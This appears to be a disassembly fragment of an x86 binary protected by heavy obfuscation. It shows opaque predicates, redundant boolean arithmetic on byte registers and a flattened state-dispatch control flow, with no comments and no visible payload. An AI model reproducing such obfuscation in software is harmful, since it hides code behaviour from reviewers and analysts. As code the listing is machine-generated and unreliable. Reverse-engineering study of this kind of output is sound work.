mov dl, bl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, bl
and al, ah
or dl, al
mov ah, 1
xor ah, 0
xor dl, 0xff
mov al, 1
xor al, 1
or ah, dl
or al, 1
xor ah, 0xff
and ah, al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
xor bl, 0xff
mov dl, dh
xor dl, 0xff
mov al, 1
xor al, 0
or bl, dl
or al, 0
xor bl, 0xff
and bl, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
xor al, 0xff
mov bh, 1
xor bh, 0
mov dl, 1
xor dl, 0
or al, bh
or dl, 0
xor al, 0xff
and al, dl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov dl, ah
and dl, bl
xor ah, bl
or dl, ah
mov ah, al
and ah, dh
xor al, dh
or ah, al
mov dh, dl
xor dh, 0xff
mov al, ah
and al, dh
xor ah, 0xff
and dl, ah
or al, dl
mov byte [ebp - 0x487c3], al
mov dh, 1
xor dh, 0
and dh, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or dh, ah
or al, dl
xor dh, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or bl, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov bh, dh
xor bh, 0xff
mov ah, 1
xor ah, 0
mov al, 1
xor al, 1
or bh, ah
or al, 1
xor bh, 0xff
and bh, al
mov al, dl
xor al, 0xff
xor al, 0
and al, 0
mov byte [ebp - 0x487c5], al
mov ah, 1
xor ah, 0
mov al, bl
xor al, ah
and al, bl
mov byte [ebp - 0x487c4], al
xor cl, 0xff
mov al, dl
xor al, 0xff
mov ah, 1
xor ah, 1
or cl, al
mov al, byte [ebp - 0x487c5]
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, bh
and ah, al
xor bh, al
mov al, byte [ebp - 0x487c4]
or ah, bh
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov cl, ah
xor cl, 0xff
mov al, bh
and al, cl
mov cl, byte [ebp - 0x487c3]
xor bh, 0xff
and ah, bh
or al, ah
mov ah, dh
and ah, bl
xor dh, bl
or ah, dh
mov bh, ah
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
and ah, dh
or bh, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
xor bh, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or bh, ah
or dl, 0
xor bh, 0xff
and bh, dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x487c2], dh
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and dh, 0xff
and al, dl
mov bl, ah
and bl, 0xff
and bh, dl
or dh, al
mov al, byte [ebp - 0x487c2]
or bl, bh
xor dh, bl
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or dh, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, dh
or al, dl
xor ah, al
mov al, cl
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
mov dh, cl
and dh, bl
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, bl
or al, dh
or dl, ah
xor al, dl
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xefa459be
mov ecx, 0xf97f2401
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov dword [ebp - 0x485ec], 0xe27940e8
jmp 0x41eecc
mov eax, dword [ebp - 0x485a8]
mov dword [eax], 0
mov dword [ebp - 0x485ec], 0xaf9b1d17
jmp 0x41eecc
mov ecx, dword [0x50d548]
mov eax, dword [0x50d544]
mov edx, 0x3b3ef492
add edx, 0
sub edx, 0x91b08beb
sub edx, 0x3b3ef492
xor esi, esi
sub esi, edx
mov edx, ecx
sub edx, esi
add edx, 0xead62288
add edx, 0x5be299ef
sub edx, 0xead62288
sub edx, 0x84dcdbc4
sub edx, 1
add edx, 0x84dcdbc4
xor esi, esi
sub esi, 0x5be299ef
add edx, esi
sub edx, 0xff0c8921
add edx, 0x4bf35e6a
add edx, 0xff0c8921
add edx, 0x90e0711
add edx, 0x91b08beb
sub edx, 0x90e0711
xor esi, esi
sub esi, 0x4bf35e6a
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl al
mov byte [ebp - 0x48814], al
mov al, dh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, dh
and cl, dl
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov bh, dh
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and al, ah
mov bl, ch
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x48814]
or bl, bh
xor cl, bl
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov byte [ebp - 0x48807], cl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or ah, cl
mov cl, 1
xor cl, 1
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or ah, bl
or dl, ch
xor ah, dl
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x487ff], al
mov bh, 1
xor bh, 1
and bh, 0
mov cl, 1
xor cl, 0
mov dl, cl
and dl, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, dl
or al, cl
xor bh, al
xor bh, 0xff
xor bh, 0
and bh, 0
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov al, 1
xor al, 1
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dl, bl
or ah, ch
xor dl, ah
mov ah, 1
xor ah, 0
mov bl, dl
xor bl, ah
and bl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x48817], cl
mov cl, bh
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dl, cl
and dl, 0
and bh, ah
mov byte [ebp - 0x48819], bh
mov bh, ch
and bh, 0
and al, ah
mov byte [ebp - 0x48818], al
mov al, byte [ebp - 0x48819]
or dl, al
mov al, byte [ebp - 0x48818]
or bh, al
mov al, byte [ebp - 0x48817]
xor dl, bh
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or dl, cl
mov cl, bl
xor cl, 0xff
mov bh, al
xor bh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
and bl, ch
mov byte [ebp - 0x48816], bl
mov bl, bh
and bl, 0xff
and al, ch
mov byte [ebp - 0x48815], al
mov al, byte [ebp - 0x48816]
or ah, al
mov al, byte [ebp - 0x48815]
or bl, al
mov al, byte [ebp - 0x48814]
xor ah, bl
mov bl, byte [ebp - 0x48807]
or cl, bh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov byte [ebp - 0x487f3], cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
mov ch, bl
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
mov cl, bl
and cl, dl
mov ah, bh
xor ah, 0xff
and ah, 0
and bh, dl
mov dl, byte [ebp - 0x487ff]
or ch, cl
mov cl, byte [ebp - 0x487f3]
or ah, bh
xor ch, ah
xor ch, 0xff
xor bl, 0xff
mov ah, 1
xor ah, 1
or ch, bl
or ah, 1
xor ch, 0xff
and ch, ah
mov bl, cl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and cl, ah
or bl, cl
mov cl, dh
xor cl, 0xff
mov ah, bl
and ah, cl
xor bl, 0xff
mov cl, dh
and cl, bl
or ah, cl
xor ah, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or ah, dh
or cl, 1
xor ah, 0xff
and ah, cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
mov bl, dl
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and dl, dh
mov cl, bh
xor cl, 0xff
and cl, 0xff
and bh, dh
mov dh, byte [ebp - 0x487f3]
or bl, dl
mov dl, byte [ebp - 0x487ff]
or cl, bh
xor bl, cl
xor bl, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bl, dl
or cl, 1
xor bl, 0xff
and bl, cl
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
and al, cl
or bh, al
mov al, dh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, dh
or cl, dl
xor al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
mov byte [ebp - 0x48810], cl
mov dl, bh
xor dl, 0xff
mov byte [ebp - 0x48811], dl
mov dh, al
xor dh, 0xff
mov cl, 1
xor cl, 0
and dl, 0
and bh, cl
mov byte [ebp - 0x48813], bh
mov bh, dh
and bh, 0
and al, cl
mov byte [ebp - 0x48812], al
mov al, byte [ebp - 0x48813]
or dl, al
mov al, byte [ebp - 0x48812]
or bh, al
mov al, byte [ebp - 0x48811]
xor dl, bh
mov bh, byte [ebp - 0x48810]
or al, dh
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov al, 1
xor al, 1
mov byte [ebp - 0x4880b], al
xor bh, 0xff
mov dh, 1
xor dh, 1
and al, 0xff
mov byte [ebp - 0x4880f], al
mov cl, dh
and cl, 1
mov al, bh
and al, 0xff
mov byte [ebp - 0x4880d], al
mov al, byte [ebp - 0x48810]
and al, dh
mov byte [ebp - 0x4880e], al
mov al, byte [ebp - 0x4880f]
or al, cl
mov cl, byte [ebp - 0x4880e]
mov byte [ebp - 0x4880c], al
mov al, byte [ebp - 0x4880d]
or al, cl
mov cl, byte [ebp - 0x4880c]
xor cl, al
mov al, byte [ebp - 0x4880b]
or al, bh
xor al, 0xff
or dh, 1
and al, dh
or cl, al
mov al, dl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and dl, dh
or al, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
and ch, bh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, bh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, bl
and al, ah
or cl, al
mov byte [ebp - 0x48802], cl
mov ch, dh
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov al, dh
and al, ah
or ch, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov bh, 1
xor bh, 1
mov al, cl
xor al, bh
and al, cl
mov bh, ah
xor bh, 0xff
mov cl, bl
xor cl, bh
and cl, bl
mov byte [ebp - 0x4880a], cl
mov bl, ch
xor bl, 0xff
mov cl, 1
xor cl, 1
mov bh, 1
xor bh, 0
or bl, cl
mov cl, byte [ebp - 0x4880a]
or bh, 0
xor bl, 0xff
and bl, bh
mov byte [ebp - 0x48804], bl
mov bh, ah
xor bh, 0xff
mov bl, dh
xor bl, bh
and bl, dh
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x48806], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x48805], cl
mov dh, bh
and dh, 0xff
and al, cl
mov cl, byte [ebp - 0x4880a]
mov byte [ebp - 0x48809], al
mov al, byte [ebp - 0x48806]
and al, 0xff
mov byte [ebp - 0x48808], al
mov al, byte [ebp - 0x48805]
and cl, al
mov al, byte [ebp - 0x48809]
or dh, al
mov al, byte [ebp - 0x48808]
or al, cl
mov cl, byte [ebp - 0x48807]
xor dh, al
mov al, byte [ebp - 0x48806]
or bh, al
mov al, byte [ebp - 0x48805]
xor bh, 0xff
or al, 1
and bh, al
mov al, byte [ebp - 0x48804]
or dh, bh
mov bh, al
and bh, bl
xor al, bl
or bh, al
mov bl, dh
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
and dh, al
mov byte [ebp - 0x48803], dh
mov dh, bh
xor dh, 0xff
and dh, 0xff
and bh, al
mov al, byte [ebp - 0x48803]
or bl, al
mov al, byte [ebp - 0x48802]
or dh, bh
xor bl, dh
mov bh, al
and bh, ch
xor al, ch
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and bh, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or al, bh
or ch, dh
xor al, ch
mov ch, ah
and ch, 1
xor ah, 1
or ch, ah
xor al, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or al, ch
or ah, 0
xor al, 0xff
and al, ah
mov ah, bl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov bh, ah
and bh, 0xff
and bl, ch
mov byte [ebp - 0x48801], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x48800], al
mov al, byte [ebp - 0x48801]
or bh, al
mov al, byte [ebp - 0x48800]
or bl, al
mov al, byte [ebp - 0x487ff]
xor bh, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or bh, ah
mov dh, dl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov bl, dl
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dh, bl
or ah, ch
xor dh, ah
mov ah, bh
xor ah, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or ah, dh
or ch, 1
xor ah, 0xff
and ah, ch
mov dh, bh
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and bh, bl
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or dh, bh
or ch, bl
xor dh, ch
xor dh, 0xff
mov ch, dl
xor ch, dh
and ch, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov bl, cl
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
mov ch, al
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and al, dh
or ch, al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov byte [ebp - 0x487f8], bl
mov al, ah
xor al, 0xff
mov bh, 1
xor bh, 1
mov dh, 1
xor dh, 1
or al, bh
or dh, 1
xor al, 0xff
and al, dh
xor cl, 0xff
mov bh, bl
xor bh, 0xff
mov dh, 1
xor dh, 1
or cl, bh
or dh, 1
xor cl, 0xff
and cl, dh
mov byte [ebp - 0x487fe], cl
mov bh, ch
xor bh, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 0
or bh, dh
mov dh, byte [ebp - 0x487ff]
or cl, 0
xor bh, 0xff
and bh, cl
mov cl, byte [ebp - 0x487fe]
mov byte [ebp - 0x487fb], bh
xor bl, 0xff
mov bh, dh
xor bh, bl
and bh, dh
mov bl, al
xor bl, 0xff
xor cl, 0xff
mov byte [ebp - 0x487fa], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x487f9], cl
mov dh, bl
and dh, 0
and al, cl
mov cl, byte [ebp - 0x487fe]
mov byte [ebp - 0x487fd], al
mov al, byte [ebp - 0x487fa]
and al, 0
mov byte [ebp - 0x487fc], al
mov al, byte [ebp - 0x487f9]
and cl, al
mov al, byte [ebp - 0x487fd]
or dh, al
mov al, byte [ebp - 0x487fc]
or al, cl
mov cl, byte [ebp - 0x487fb]
xor dh, al
mov al, byte [ebp - 0x487fa]
or bl, al
mov al, byte [ebp - 0x487f9]
xor bl, 0xff
or al, 0
and bl, al
mov al, byte [ebp - 0x487f8]
or dh, bl
mov bl, cl
and bl, bh
xor cl, bh
or bl, cl
mov bh, dh
xor bh, 0xff
mov cl, bl
and cl, bh
xor bl, 0xff
and dh, bl
or cl, dh
mov bl, ah
and bl, ch
xor ah, ch
or bl, ah
mov ah, bl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
mov ch, al
and ch, 1
xor al, 1
or ch, al
xor ah, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or ah, ch
or al, 0
xor ah, 0xff
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov bh, al
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov ch, al
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or bh, ch
or cl, ah
xor bh, cl
xor bh, 0xff
xor bh, 0
and bh, 0
mov bl, 1
xor bl, 0
and bl, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or bl, ch
or cl, ah
xor bl, cl
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 1
and cl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor cl, 0xff
mov ch, 1
xor ch, 0
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x487f5], cl
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov ah, bh
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, ah
and cl, 0
and bh, ch
mov byte [ebp - 0x487f7], bh
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0x487f6], al
mov al, byte [ebp - 0x487f7]
or cl, al
mov al, byte [ebp - 0x487f6]
or bh, al
mov al, byte [ebp - 0x487f5]
xor cl, bh
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x487f4], ah
mov dh, bl
xor dh, 0xff
mov ch, 1
xor ch, 1
and ah, 0xff
and al, ch
mov bh, dh
and bh, 0xff
and bl, ch
or ah, al
mov al, byte [ebp - 0x487f4]
or bh, bl
mov bl, byte [ebp - 0x487f3]
xor ah, bh
or al, dh
xor al, 0xff
or ch, 1
and al, ch
or ah, al
mov ch, cl
xor ch, 0xff
mov al, ah
and al, ch
xor ah, 0xff
and cl, ah
or al, cl
mov byte [ebp - 0x487ef], al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov dh, bl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov ah, bl
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, ah
or al, cl
xor dh, al
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
mov bh, cl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, bh
or al, cl
xor ah, al
mov bh, ch
xor bh, 0xff
mov cl, 1
xor cl, 1
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov al, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov byte [ebp - 0x487f2], al
mov cl, 1
xor cl, 1
mov al, dh
xor al, cl
and al, dh
mov byte [ebp - 0x487f1], al
xor bl, 0xff
mov al, ah
xor al, 0xff
mov cl, 1
xor cl, 1
or bl, al
mov al, byte [ebp - 0x487f2]
or cl, 1
xor bl, 0xff
and bl, cl
mov cl, bh
and cl, al
xor bh, al
mov al, byte [ebp - 0x487f1]
or cl, bh
mov bh, al
and bh, bl
xor al, bl
or bh, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x487f0], al
mov al, 1
xor al, 0
and cl, al
mov bl, bh
xor bl, 0xff
and bl, 0
and bh, al
mov al, byte [ebp - 0x487f0]
or al, cl
mov cl, byte [ebp - 0x487ef]
or bl, bh
xor al, bl
mov bh, ch
and bh, dh
xor ch, dh
or bh, ch
mov ch, bh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
mov dh, ah
and dh, 1
xor ah, 1
or dh, ah
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov ch, al
and ch, ah
xor al, ah
or ch, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov bl, ch
xor bl, 0xff
and bl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or bl, ch
or cl, ah
xor bl, cl
mov bh, 1
xor bh, 0
and bh, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 0
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or bh, ch
or cl, ah
xor bh, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x487ee], dh
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 1
and dh, 0xff
and al, cl
mov ch, ah
and ch, 0xff
and bl, cl
or dh, al
mov al, byte [ebp - 0x487ee]
or ch, bl
xor dh, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dh, al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x487ed], cl
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
and cl, 0
mov al, ah
and al, 0
mov bl, ch
and bl, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x487ed]
or bl, bh
xor cl, bl
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov al, dh
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, dh
or ah, ch
xor al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x88f30066
mov ecx, 0xecae2597
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov dword [ebp - 0x485ec], 0xb14895ac
jmp 0x41eecc
mov edx, dword [ebp - 0x484f0]
mov eax, 0x1aa8ed21
mov ecx, 0x64a18942
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov ecx, dword [0x50d548]
mov eax, dword [0x50d544]
xor esi, esi
sub esi, 0x72e5b169
sub esi, ecx
add esi, 0x72e5b169
xor edx, edx
sub edx, 0x1c6d5fd
add edx, 0
add esi, 0x2f4d9932
add esi, edx
sub esi, 0x2f4d9932
xor edx, edx
sub edx, esi
add edx, 0
sub edx, 0xe614092f
sub edx, 0x5e3cdd34
add edx, 0xe614092f
sub edx, 0x95ba5cef
sub edx, 1
add edx, 0x95ba5cef
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x5e3cdd34
add esi, edx
xor edx, edx
sub edx, esi
mov edi, 0x3b97e80f
add edi, 0
sub edi, 0x1c6d5fd
sub edi, 0x3b97e80f
xor esi, esi
sub esi, edi
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
mov byte [ebp - 0x48844], dh
cmp eax, 0xa
setl ch
mov byte [ebp - 0x48835], ch
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, 1
xor ah, 1
and ah, 0
mov dl, 1
xor dl, 0
mov bl, dl
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, bl
or al, dl
xor ah, al
xor dh, 0xff
mov dl, ah
xor dl, 0xff
mov al, 1
xor al, 1
or dh, dl
or al, 1
xor dh, 0xff
and dh, al
mov al, 1
xor al, 1
and al, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and bl, 1
or al, bh
or dl, bl
xor al, dl
mov bl, 1
xor bl, 1
mov dl, al
xor dl, bl
and dl, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
xor cl, 0xff
and al, cl
or ah, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov dh, ch
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, dh
or al, cl
xor dl, al
mov al, 1
xor al, 1
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or dl, bl
or cl, dh
xor dl, cl
mov dh, dl
xor dh, 0xff
mov cl, ch
xor cl, dh
and cl, ch
mov dh, 1
xor dh, 1
and dh, 1
mov ch, 1
xor ch, 1
and ch, 1
or dh, ch
mov bl, 1
xor bl, 1
mov ch, dh
xor ch, bl
and ch, dh
mov byte [ebp - 0x48845], ch
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ch, al
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, ch
and dh, 0xff
and al, bl
mov byte [ebp - 0x48847], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x48846], al
mov al, byte [ebp - 0x48847]
and cl, bl
or dh, al
mov al, byte [ebp - 0x48846]
or al, cl
mov cl, byte [ebp - 0x48845]
xor dh, al
mov al, byte [ebp - 0x48844]
or ch, bh
xor ch, 0xff
or bl, 1
and ch, bl
or dh, ch
mov ch, cl
and ch, dl
xor cl, dl
or ch, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov dl, ch
xor dl, 0xff
and dl, 0xff
and ch, bl
or cl, dh
or dl, ch
xor cl, dl
mov byte [ebp - 0x48825], cl
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dl, dh
or cl, ch
xor dl, cl
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov ch, 1
xor ch, 1
and ch, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or ch, bl
or cl, dh
xor ch, cl
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov byte [ebp - 0x48823], cl
mov dh, 1
xor dh, 1
and dh, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or dh, bl
or dl, ch
xor dh, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
mov bl, ah
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, bh
or dl, bl
or ch, dh
xor dl, ch
mov dh, ah
xor dh, 0xff
mov ch, dl
xor ch, dh
and ch, dl
mov bh, al
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and al, dl
or bh, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or cl, bl
or dl, dh
xor cl, dl
